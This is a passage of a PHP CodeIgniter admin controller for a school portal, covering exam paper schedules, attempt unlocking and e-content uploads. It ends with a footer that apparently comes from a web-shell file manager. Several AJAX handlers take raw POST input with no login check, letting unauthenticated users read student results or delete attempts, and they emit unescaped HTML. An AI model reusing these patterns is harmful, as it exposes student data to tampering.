                        $this->session->set_flashdata('errorMessage', 'Student Allotment Error Occured While Scheduling Model Paper. Try Later.');
                        redirect("admin/TasksAndQuizzes/modelPaperSchedules");
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Allotment Failed! No Students Selected For Scheduling. Please Select Student(s).');
                    redirect("admin/TasksAndQuizzes/modelPaperSchedules");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editModelPaperScheduleStatus($mepsch_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['subjects'] = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result();
            $viewData['scheduleInfo'] = $this->TaskAndQuizManagement->getModelPaperScheduleInfoBy($mepsch_id)->result()[0];
            $this->load->view('admin/quizzes/editModelPaperSchedule', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateModelPaperSchedule() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $mepsch_id = $this->input->post("mepsch_id");
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('modelPaper', 'Model Paper', 'trim|required', array('required' => 'Please Select Any Model Paper.'));
            $this->form_validation->set_rules('scheduleStartDate', 'Start Date', 'trim|required', array('required' => 'Please Enter/Choose Start Date.'));
            $this->form_validation->set_rules('scheduleEndDate', 'End Date', 'trim|required', array('required' => 'Please Enter/Choose End Date.'));
            $this->form_validation->set_rules('allowedAttempts', 'Allowed Attempts', 'trim|required', array('required' => 'Please Select Allowed Attempts.'));
            $selectedStudents = $this->input->post('selectedStudents');
            if ($this->form_validation->run() == FALSE) {
                $this->editModelPaperScheduleStatus($mepsch_id);
            } else if (!sizeof($selectedStudents)) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Student To Schedule Model Paper.");
                $this->editModelPaperScheduleStatus($mepsch_id);
            } else {
                $newModelPaperStudentAllot = array();
                $scheduleUpdatedInfo = array(
                    'mepsch_id' => $mepsch_id,
                    'mepsch_start_date' => date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("scheduleStartDate"))))),
                    'mepsch_end_date' => date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("scheduleEndDate"))))),
                    'mepsch_is_result_to_show' => trim($this->input->post('resultShow')),
                    'mepsch_is_detailed_result_to_show' => (trim($this->input->post('detailedResultShow')) == "") ? "F" : trim($this->input->post('detailedResultShow')),
                    'mepsch_allowed_attempts' => trim($this->input->post("allowedAttempts")),
                    'mepm_id' => trim($this->input->post("modelPaper")),
                    'mepsch_updated_on' => date("Y-m-d H:i:s"),
                    'mepsch_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $this->db->trans_start();
                if ($this->TaskAndQuizManagement->updateModelExamPaperScheduleInfo($scheduleUpdatedInfo)) {
                    $this->TaskAndQuizManagement->deleteModelExamPaperStudentAllotment($mepsch_id);
                    for ($i = 0; $i < sizeof($selectedStudents); $i++) {
                        array_push($newModelPaperStudentAllot, array(
                            'mepm_id' => trim($this->input->post("modelPaper")),
                            'tspi_id' => $selectedStudents[$i],
                            'mepsch_id' => $mepsch_id,
                            'mepsa_allowed_attempts' => trim($this->input->post("allowedAttempts"))
                        ));
                    }
                    if ($this->TaskAndQuizManagement->createNewModelPaperStudentAllotmentMulti($newModelPaperStudentAllot)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Schedule Updated Successfully.');
                        redirect("admin/TasksAndQuizzes/modelPaperSchedules");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Student Allotment Error Occured While Updating Model Paper Schedule. Try Later.');
                        redirect("admin/TasksAndQuizzes/modelPaperSchedules");
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Allotment Failed! No Students Selected For Scheduling. Please Select Student(s).');
                    redirect("admin/TasksAndQuizzes/modelPaperSchedules");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleModelPaperScheduleStatus($mepsch_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $scheduleUpdateData = array(
                'mepsch_id' => $mepsch_id,
                'mepsch_updated_on' => date("Y-m-d H:i:s"),
                'mepsch_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'mepsch_active_status' => $toUpdateStatus
            );
            if ($this->TaskAndQuizManagement->updateModelExamPaperScheduleInfo($scheduleUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Model Paper Schedule Updated Successfully.');
                redirect("admin/TasksAndQuizzes/modelPaperSchedules");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Model Paper Schedule. Try Later.');
                redirect("admin/TasksAndQuizzes/modelPaperSchedules");
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteModelPaperSchedule($mepsch_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $scheduleUpdateData = array(
                'mepsch_id' => $mepsch_id,
                'mepsch_updated_on' => date("Y-m-d H:i:s"),
                'mepsch_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'mepsch_delete_status' => 'T'
            );
            if ($this->TaskAndQuizManagement->updateModelExamPaperScheduleInfo($scheduleUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Model Paper Schedule Deleted Successfully.');
                redirect("admin/TasksAndQuizzes/modelPaperSchedules");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Model Paper Schedule. Try Later.');
                redirect("admin/TasksAndQuizzes/modelPaperSchedules");
            }
        } else {
            redirect("admin/");
        }
    }

    public function getModelPaperAttemptInfo() {
        $mepsch_id = $_POST['mepsch_id'];
        $studentAttemptInfo = array();
        $allottedStudentsInfo = $this->TaskAndQuizManagement->getAllottedModelPapersBySchedule($mepsch_id)->result();
        if (sizeof($allottedStudentsInfo)) {
            for ($i = 0; $i < sizeof($allottedStudentsInfo); $i++) {
                $student_info = $this->StudentManagement->getStudentPersonalInfoAndPhotoSignBy($allottedStudentsInfo[$i]->tspi_id)->result()[0];
                $studentAttemptDetails = $this->TaskAndQuizManagement->getModelPaperAttemptResponseByStudent($allottedStudentsInfo[$i]->tspi_id, $allottedStudentsInfo[$i]->mepm_id)->result();
                if (sizeof($studentAttemptDetails)) {
                    $maximumMarks = 0.0;
                    $obtainedMarks = 0.0;
                    $totalAttempts = sizeof($this->TaskAndQuizManagement->getModelPaperAttemptByStudent($allottedStudentsInfo[$i]->tspi_id, $allottedStudentsInfo[$i]->mepm_id)->result());
                    for ($j = 0; $j < sizeof($studentAttemptDetails); $j++) {
                        $maximumMarks += $studentAttemptDetails[$j]->qb_marks;
                        if ($studentAttemptDetails[$j]->meprm_obj_resp == $studentAttemptDetails[$j]->meprm_correct_resp) {
                            $obtainedMarks += $studentAttemptDetails[$j]->qb_marks;
                        } else {
                            $obtainedMarks -= $studentAttemptDetails[$j]->qb_negative_marks;
                        }
                    }
                    array_push($studentAttemptInfo, array(
                        'stu_id' => $student_info->tspi_id,
                        'stu_enrollment_no' => ($student_info->tspi_form_no == $student_info->tspi_enrollment_no) ? "-" : stripslashes($student_info->tspi_enrollment_no),
                        'stu_name' => stripslashes($student_info->tspi_name),
                        'result' => $obtainedMarks . "/" . $maximumMarks,
                        'attempts_used' => $totalAttempts,
                        'allowed_attempts' => ($allottedStudentsInfo[$i]->mepsch_allowed_attempts == 0) ? "Unlimited Attempts" : $allottedStudentsInfo[$i]->mepsch_allowed_attempts
                    ));
                } else {
                    array_push($studentAttemptInfo, array(
                        'stu_id' => $student_info->tspi_id,
                        'stu_enrollment_no' => ($student_info->tspi_form_no == $student_info->tspi_enrollment_no) ? "-" : stripslashes($student_info->tspi_enrollment_no),
                        'stu_name' => stripslashes($student_info->tspi_name),
                        'result' => "Not Available",
                        'attempts_used' => 0,
                        'allowed_attempts' => ($allottedStudentsInfo[$i]->mepsch_allowed_attempts == 0) ? "Unlimited Attempts" : $allottedStudentsInfo[$i]->mepsch_allowed_attempts
                    ));
                }
            }
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'student_attempt_info' => $studentAttemptInfo
        );
        echo json_encode($responseData);
    }

    public function unlockModelPaperAttempt() {
        $mepsch_id = $_POST['mepsch_id'];
        $tspi_id = $_POST['tspi_id'];
        $allottedStudentsInfo = $this->TaskAndQuizManagement->getAllottedModelPapersBySchedule($mepsch_id, '', $tspi_id)->result()[0];
        $mepm_id = $allottedStudentsInfo->mepm_id;
        $allowed_attempts = $allottedStudentsInfo->mepsch_allowed_attempts;
        if ($allowed_attempts == 1) {
            $this->db->trans_start();
            $this->TaskAndQuizManagement->deleteModelPaperStudentAttempt($mepsch_id, $mepm_id, $tspi_id, false);
            $this->TaskAndQuizManagement->deleteModelPaperStudentResponse($mepsch_id, $mepm_id, $tspi_id);
            $this->db->trans_complete();
        } else {
            $this->TaskAndQuizManagement->deleteModelPaperStudentAttempt($mepsch_id, $mepm_id, $tspi_id, true);
        }

        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'unlock_response' => 1
        );
        echo json_encode($responseData);
    }

    /* Request Handler For E-Content Management */

    public function eContents() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $filterRecords = array();
            if (isset($_POST['fetchEContents'])) {
                $searchKeyword = trim($this->input->post('title'));
                $selectedSession = trim($this->input->post('session'));
                $selectedSubject = trim($this->input->post('subject'));
                $selectedStartDate = (trim($this->input->post("startDate")) == "") ? "" : date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("startDate")))));
                $selectedEndDate = (trim($this->input->post("endDate")) == "") ? "" : date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("endDate")))));
                $selectedRangeAppliedWith = (trim($this->input->post("dateRangeAppliedWith")) == "") ? "" : trim($this->input->post("dateRangeAppliedWith"));
                $filterRecords = $this->TaskAndQuizManagement->getAllEContentsBy($this->session->userdata("adminData")["smember_id"], "F", $searchKeyword, $selectedSession, $selectedSubject, $selectedStartDate, $selectedEndDate, $selectedRangeAppliedWith)->result();
            } else {
                $selectedSession = $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id;
                $filterRecords = $this->TaskAndQuizManagement->getAllEContentsBy($this->session->userdata("adminData")["smember_id"], "F", '', $selectedSession, '', '', '', '', '')->result();
            }
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($this->session->userdata("adminData")["smember_id"], '', '')->result();
            $viewData['econtents'] = $filterRecords;
            $this->load->view('admin/quizzes/eContents', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createNewEContent() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C'))->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($this->session->userdata("adminData")["smember_id"], $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id, '')->result();
            $this->load->view('admin/quizzes/createEContent', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewEContent() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Session Selection Is Required.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('course', 'Course', 'trim|required', array('required' => 'Course Selection Is Required.'));
            $this->form_validation->set_rules('title', 'E-Content Title', 'trim|required', array('required' => 'Please Enter E-Content Title.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createNewEContent();
            } else if (empty($_FILES['file']['name'])) {
                $this->form_validation->set_rules('file', 'File', 'required', array('required' => 'E-Content File Is Required.'));
                $this->form_validation->run();
                $this->createNewEContent();
            } else {
                $eContentFileNameWithPath = "";
                $configEContentFile['upload_path'] = './assets/admin/uploads/econtents/';
                $configEContentFile['allowed_types'] = 'pdf|ppt|pptx|doc|docx|xls|xlsx|rar|zip|txt|csv|png|jpg|jpeg';
                $configEContentFile['max_size'] = '2048';
                $configEContentFile['file_ext_tolower'] = TRUE;
                $configEContentFile['encrypt_name'] = TRUE;
                $this->load->library('upload', $configEContentFile);
                if (!$this->upload->do_upload('file')) {
                    $this->session->set_flashdata('errorMessage', "E-Content File Can Not Be Uploaded. File Size 2 MB Max. & Allowed Extension: Only *.pdf,*.ppt(x),*.doc(x),*.xls(x),*.rar,*.zip,*.txt,*.csv,*.png,*.jpg,*.jpeg.");
                    $this->createNewEContent();
                } else {
                    $eContentFileNameWithPath = "/assets/admin/uploads/econtents/" . $this->upload->data()['file_name'];
                    $newEContentInfo = array(
                        'ecm_title' => trim(addslashes($this->input->post("title"))),
                        'ecm_description' => trim(addslashes($this->input->post("description"))),
                        'ecm_file' => $eContentFileNameWithPath,
                        'sm_id' => trim($this->input->post('subject')),
                        'session_id' => trim($this->input->post("session")),
                        'ecm_added_on' => date("Y-m-d H:i:s"),
                        'ecm_added_by' => $this->session->userdata("adminData")["smember_id"],
                        'ecm_updated_on' => date("Y-m-d H:i:s"),
                        'ecm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->TaskAndQuizManagement->createNewEContent($newEContentInfo)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'E-Content Saved Successfully.');
                        redirect("admin/TasksAndQuizzes/eContents");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving E-Content. Try Later.');
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editEContent($ecm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['econtentInfo'] = $this->TaskAndQuizManagement->getEContentInfoBy($ecm_id)->result()[0];
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C'))->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($this->session->userdata("adminData")["smember_id"], $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id, '')->result();
            $this->load->view('admin/quizzes/editEContent', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateEContent() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $ecm_id = trim($this->input->post("ecm_id"));
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Session Selection Is Required.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('course', 'Course', 'trim|required', array('required' => 'Course Selection Is Required.'));
            $this->form_validation->set_rules('title', 'E-Content Title', 'trim|required', array('required' => 'Please Enter E-Content Title.'));
            $eContentCurrentFileName = substr($this->input->post('ecm_file_path'), strripos($this->input->post('ecm_file_path'), "/") + 1);
            if ($this->form_validation->run() == FALSE) {
                $this->editEContent($ecm_id);
            } else {
                if (empty($_FILES['file']['name'])) {
                    $eContentUpdatedInfo = array(
                        'ecm_id' => $ecm_id,
                        'ecm_title' => trim(addslashes($this->input->post("title"))),
                        'ecm_description' => trim(addslashes($this->input->post("description"))),
                        'sm_id' => trim($this->input->post('subject')),
                        'session_id' => trim($this->input->post("session")),
                        'ecm_updated_on' => date("Y-m-d H:i:s"),
                        'ecm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->TaskAndQuizManagement->updateEContentInfo($eContentUpdatedInfo)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'E-Content Saved Successfully.');
                        redirect("admin/TasksAndQuizzes/eContents");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving E-Content. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $eContentFileNameWithPath = "";
                    $configEContentFile['upload_path'] = './assets/admin/uploads/econtents/';
                    $configEContentFile['allowed_types'] = 'pdf|ppt|pptx|doc|docx|xls|xlsx|rar|zip|txt|csv|png|jpg|jpeg';
                    $configEContentFile['max_size'] = '2048';
                    $configEContentFile['file_ext_tolower'] = TRUE;
                    $configEContentFile['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configEContentFile);
                    if (!$this->upload->do_upload('file')) {
                        $this->session->set_flashdata('errorMessage', "E-Content File Can Not Be Uploaded. File Size 2 MB Max. & Allowed Extension: Only *.pdf,*.ppt(x),*.doc(x),*.xls(x),*.rar,*.zip,*.txt,*.csv,*.png,*.jpg,*.jpeg.");
                        $this->editEContent($ecm_id);
                    } else {
                        $eContentFileNameWithPath = "/assets/admin/uploads/econtents/" . $this->upload->data()['file_name'];
                        $eContentUpdatedInfo = array(
                            'ecm_id' => $ecm_id,
                            'ecm_title' => trim(addslashes($this->input->post("title"))),
                            'ecm_description' => trim(addslashes($this->input->post("description"))),
                            'ecm_file' => $eContentFileNameWithPath,
                            'sm_id' => trim($this->input->post('subject')),
                            'session_id' => trim($this->input->post("session")),
                            'ecm_updated_on' => date("Y-m-d H:i:s"),
                            'ecm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                        if ($this->TaskAndQuizManagement->updateEContentInfo($eContentUpdatedInfo)) {
                            $this->db->trans_complete();
                            if (file_exists("./assets/admin/uploads/econtents/" . $eContentCurrentFileName)) {
                                unlink("./assets/admin/uploads/econtents/" . $eContentCurrentFileName);
                            }
                            $this->session->set_flashdata('successMessage', 'E-Content Saved Successfully.');
                            redirect("admin/TasksAndQuizzes/eContents");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving E-Content. Try Later.');
                            redirect(current_url());
                        }
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleEContentStatus($ecm_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $eContentUpdateData = array(
                'ecm_id' => $ecm_id,
                'ecm_updated_on' => date("Y-m-d H:i:s"),
                'ecm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ecm_active_status' => $toUpdateStatus
            );
            if ($this->TaskAndQuizManagement->updateEContentInfo($eContentUpdateData)) {
                $this->session->set_flashdata('successMessage', 'E-Content Status Updated Successfully.');
                redirect("admin/TasksAndQuizzes/eContents");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating E-Content Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteEContent($ecm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $eContentUpdateData = array(
                'ecm_id' => $ecm_id,
                'ecm_updated_on' => date("Y-m-d H:i:s"),
                'ecm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ecm_delete_status' => 'T'
            );
            if ($this->TaskAndQuizManagement->updateEContentInfo($eContentUpdateData)) {
                $this->session->set_flashdata('successMessage', 'E-Content Deleted Successfully.');
                redirect("admin/TasksAndQuizzes/eContents");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting E-Content. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function getAllEContentsForDropDown() {
        $sm_id = $_POST['subject_id'];
        $session_id = $_POST['session_id'];
        $ecm_id = (isset($_POST['ecm_id'])) ? $_POST['ecm_id'] : "";
        $query = $this->TaskAndQuizManagement->getAllEContentsBy($this->session->userdata("adminData")["smember_id"], "F", '', $session_id, '', $sm_id, '', '', '');
        $eContentList = $query->result();
        $options = "";
        for ($i = 0; $i < (sizeof($eContentList)); $i++) {
            $selected = "";
            if ($ecm_id != "" && ($eContentList[$i]->ecm_id == $ecm_id )) {
                $selected = "selected";
            }
            $options .= "<option value=" . $eContentList[$i]->ecm_id . " " . $selected . ">" . stripslashes($eContentList[$i]->ecm_title) . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'econtent_list' => $options
        );
        echo json_encode($responseData);
    }

    /* Request Handlers Related To E-Content Assignments */

    public function eContentAssigments() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $filterRecords = array();
            if (isset($_POST['fetchEContentsSchedules'])) {
                $searchKeyword = trim($this->input->post('title'));
                $selectedSession = trim($this->input->post('session'));
                $selectedSubject = trim($this->input->post('subject'));
                $selectedEContent = trim($this->input->post('econtent'));
                $selectedStartDate = (trim($this->input->post("startDate")) == "") ? "" : date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("startDate")))));
                $selectedEndDate = (trim($this->input->post("endDate")) == "") ? "" : date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("endDate")))));
                $filterRecords = $this->TaskAndQuizManagement->getAllEContentSchedulesBy($this->session->userdata("adminData")["smember_id"], 'F', $searchKeyword, $selectedSession, $selectedSubject, $selectedEContent, $selectedStartDate, $selectedEndDate)->result();
            } else {
                $filterRecords = $this->TaskAndQuizManagement->getAllEContentSchedulesBy($this->session->userdata("adminData")["smember_id"], 'F', '', $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id, '', '', '', '')->result();
            }
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($this->session->userdata("adminData")["smember_id"], '', '')->result();
            $viewData['econtents'] = $this->TaskAndQuizManagement->getAllEContentsBy($this->session->userdata("adminData")["smember_id"], 'F', '', '', '', '', '', '', '')->result();
            $viewData['econtentAssignments'] = $filterRecords;
            $this->load->view('admin/quizzes/eContentAssignments', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function assignNewEContent() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($this->session->userdata("adminData")["smember_id"], $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id, '')->result();
            $this->load->view('admin/quizzes/assignEContent', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function makeEContentAssignment() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('subject', 'Start Date', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('econtent', 'End Date', 'trim|required', array('required' => 'Please Select Any E-Content.'));
            $this->form_validation->set_rules('scheduleStartDate', 'Start Date', 'trim|required', array('required' => 'Please Enter/Choose Start Date.'));
            $this->form_validation->set_rules('scheduleEndDate', 'End Date', 'trim|required', array('required' => 'Please Enter/Choose End Date.'));
            $selectedStudents = $this->input->post('selectedStudents');
            if (!sizeof($selectedStudents)) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Student To Assign E-Content.");
                $this->assignNewEContent();
            } else {
                $newEContentStudentAssign = array();
                $newEContentSchedule = array(
                    'ecm_id' => trim($this->input->post("econtent")),
                    'ecsm_start_date' => date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("scheduleStartDate"))))),
                    'ecsm_end_date' => date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("scheduleEndDate"))))),
                    'ecsm_note' => trim(addslashes($this->input->post("note"))),
                    'ecsm_scheduled_by' => $this->session->userdata("adminData")["smember_id"],
                    'ecsm_scheduled_on' => date("Y-m-d H:i:s"),
                    'ecsm_schedule_updated_on' => date("Y-m-d H:i:s")
                );
                $this->db->trans_start();
                $schedule_id = $this->TaskAndQuizManagement->createNewEContentSchedule($newEContentSchedule);
                for ($i = 0; $i < sizeof($selectedStudents); $i++) {
                    array_push($newEContentStudentAssign, array(
                        'ecsm_id' => $schedule_id,
                        'tspi_id' => $selectedStudents[$i]
                    ));
                }
                if (sizeof($newEContentStudentAssign)) {
                    if ($this->TaskAndQuizManagement->createNewEContentAssignmentMulti($newEContentStudentAssign)) {
                        $this->session->set_flashdata('successMessage', 'E-Content Assigned Successfully.');
                        redirect("admin/TasksAndQuizzes/eContentAssigments");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'E-Content Assignment To Student Failed Due To Some Errors. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'E-Content Assignment Failed! No Students Selected. Please Select Student(s).');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editEContentAssignment($ecsm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['econtentScheduleInfo'] = $this->TaskAndQuizManagement->getEContentScheduleInfoBy($ecsm_id)->result()[0];
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($this->session->userdata("adminData")["smember_id"], $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id, '')->result();
            $this->load->view('admin/quizzes/editEContentAssignment', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateEContentAssignment() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $ecsm_id = $this->input->post("ecsm_id");
            $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('subject', 'Start Date', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('econtent', 'End Date', 'trim|required', array('required' => 'Please Select Any E-Content.'));
            $this->form_validation->set_rules('scheduleStartDate', 'Start Date', 'trim|required', array('required' => 'Please Enter/Choose Start Date.'));
            $this->form_validation->set_rules('scheduleEndDate', 'End Date', 'trim|required', array('required' => 'Please Enter/Choose End Date.'));
            $selectedStudents = $this->input->post('selectedStudents');
            if (!sizeof($selectedStudents)) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Student To Assign E-Content.");
                $this->editEContentAssignment($ecsm_id);
            } else {
                $newEContentStudentAssign = array();
                $eContentSchedule = array(
                    'ecsm_id' => $ecsm_id,
                    'ecsm_start_date' => date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("scheduleStartDate"))))),
                    'ecsm_end_date' => date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("scheduleEndDate"))))),
                    'ecsm_note' => trim(addslashes($this->input->post("note"))),
                    'ecsm_schedule_updated_on' => date("Y-m-d H:i:s")
                );
                $this->db->trans_start();
                if ($this->TaskAndQuizManagement->updateEContentScheduleInfo($eContentSchedule)) {
                    $this->TaskAndQuizManagement->deleteEContentStudentAssignment($ecsm_id);
                    for ($i = 0; $i < sizeof($selectedStudents); $i++) {
                        array_push($newEContentStudentAssign, array(
                            'ecsm_id' => $ecsm_id,
                            'tspi_id' => $selectedStudents[$i]
                        ));
                    }
                    if ($this->TaskAndQuizManagement->createNewEContentAssignmentMulti($newEContentStudentAssign)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'E-Content Assignment Updated Successfully.');
                        redirect("admin/TasksAndQuizzes/eContentAssigments");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Assignment Info. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Assignment Failed! No Students Selected For Assigning. Please Select Student(s).');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleEContentScheduleStatus($ecsm_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $eContentScheduleUpdateData = array(
                'ecsm_id' => $ecsm_id,
                'ecsm_schedule_updated_on' => date("Y-m-d H:i:s"),
                'ecsm_active_status' => $toUpdateStatus
            );
            if ($this->TaskAndQuizManagement->updateEContentScheduleInfo($eContentScheduleUpdateData)) {
                $this->session->set_flashdata('successMessage', 'E-Content Schedule Status Updated Successfully.');
                redirect("admin/TasksAndQuizzes/eContentAssigments");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating E-Content Schedule Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteEContentSchedule($ecsm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $eContentScheduleUpdateData = array(
                'ecsm_id' => $ecsm_id,
                'ecsm_schedule_updated_on' => date("Y-m-d H:i:s"),
                'ecsm_delete_status' => 'T'
            );
            if ($this->TaskAndQuizManagement->updateEContentScheduleInfo($eContentScheduleUpdateData)) {
                $this->session->set_flashdata('successMessage', 'E-Content Schedule Deleted Successfully.');
                redirect("admin/TasksAndQuizzes/eContentAssigments");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting E-Content Schedule. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit